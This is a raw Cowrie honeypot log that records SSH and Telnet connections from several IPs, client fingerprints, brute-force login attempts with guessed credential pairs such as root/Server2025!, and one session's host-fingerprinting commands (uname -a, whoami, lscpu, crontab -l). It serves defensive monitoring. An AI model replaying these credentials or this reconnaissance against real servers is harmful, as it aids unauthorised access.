{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:56.677650Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"Admin@123","message":"login attempt [frappe/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:56.684735Z","src_ip":"43.243.142.42","session":"5616578c0b69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:56.834274Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:57.184870Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:57.188493Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:57.345265Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:57.701404Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:57.705342Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:57.860150Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:57.957951Z","src_ip":"43.243.142.42","session":"5616578c0b69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:58.212481Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:58.216074Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:58.373137Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:58.731404Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:58.735501Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:58.893013Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:59.251518Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:59.254875Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:59.409197Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:59.787940Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:59.791830Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:59.948264Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:00.322211Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:00.325857Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:00.481322Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:00.841067Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:00.844667Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:01.002306Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:01.362817Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:01.368801Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:01.533314Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:01.539792Z","src_ip":"216.155.93.75","session":"a905e860c4ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35872,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e801a23c188","protocol":"telnet","message":"New connection: 64.227.101.30:35872 (10.17.0.5:23) [session: 7e801a23c188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:19.939834Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":32790,"dst_ip":"159.203.135.109","dst_port":23,"session":"34573f756fca","protocol":"telnet","message":"New connection: 68.183.198.12:32790 (159.203.135.109:23) [session: 34573f756fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:28.296646Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":53568,"dst_ip":"159.203.135.109","dst_port":22,"session":"54772f48268c","protocol":"ssh","message":"New connection: 42.200.66.164:53568 (159.203.135.109:22) [session: 54772f48268c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:31.637549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:31.642417Z","src_ip":"42.200.66.164","session":"54772f48268c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:31.905717Z","src_ip":"42.200.66.164","session":"54772f48268c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xd123456","message":"login attempt [root/Xd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:33.745028Z","src_ip":"42.200.66.164","session":"54772f48268c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:35.621178Z","src_ip":"42.200.66.164","session":"54772f48268c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":34222,"dst_ip":"159.203.135.109","dst_port":23,"session":"55c0d359aa3a","protocol":"telnet","message":"New connection: 68.183.198.12:34222 (159.203.135.109:23) [session: 55c0d359aa3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:37.216269Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":55133,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9d3d01c4fee","protocol":"ssh","message":"New connection: 49.247.36.49:55133 (10.17.0.5:22) [session: c9d3d01c4fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:38.531765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:38.536905Z","src_ip":"49.247.36.49","session":"c9d3d01c4fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:38.740473Z","src_ip":"49.247.36.49","session":"c9d3d01c4fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QA2ws3ed","message":"login attempt [root/1QA2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:39.586774Z","src_ip":"49.247.36.49","session":"c9d3d01c4fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:40.793122Z","src_ip":"49.247.36.49","session":"c9d3d01c4fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36406,"dst_ip":"159.203.135.109","dst_port":23,"session":"2281cc70530f","protocol":"telnet","message":"New connection: 68.183.198.12:36406 (159.203.135.109:23) [session: 2281cc70530f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:53.220080Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":37926,"dst_ip":"159.203.135.109","dst_port":22,"session":"904b21c4de5e","protocol":"ssh","message":"New connection: 43.243.142.42:37926 (159.203.135.109:22) [session: 904b21c4de5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:55.769172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:55.778396Z","src_ip":"43.243.142.42","session":"904b21c4de5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:56.024774Z","src_ip":"43.243.142.42","session":"904b21c4de5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":33545,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa99fd04d360","protocol":"ssh","message":"New connection: 216.155.93.75:33545 (10.17.0.5:22) [session: aa99fd04d360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:56.418610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:56.424539Z","src_ip":"216.155.93.75","session":"aa99fd04d360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:56.571777Z","src_ip":"216.155.93.75","session":"aa99fd04d360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"passw0rd","message":"login attempt [sysadmin/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:57.039573Z","src_ip":"43.243.142.42","session":"904b21c4de5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2025!","message":"login attempt [root/Server2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:57.189066Z","src_ip":"216.155.93.75","session":"aa99fd04d360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:58.288631Z","src_ip":"43.243.142.42","session":"904b21c4de5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:14:58.351279Z","src_ip":"216.155.93.75","session":"aa99fd04d360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.567562103271484,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:02.507290Z","src_ip":"64.227.101.30","session":"7e801a23c188","protocol":"telnet"}
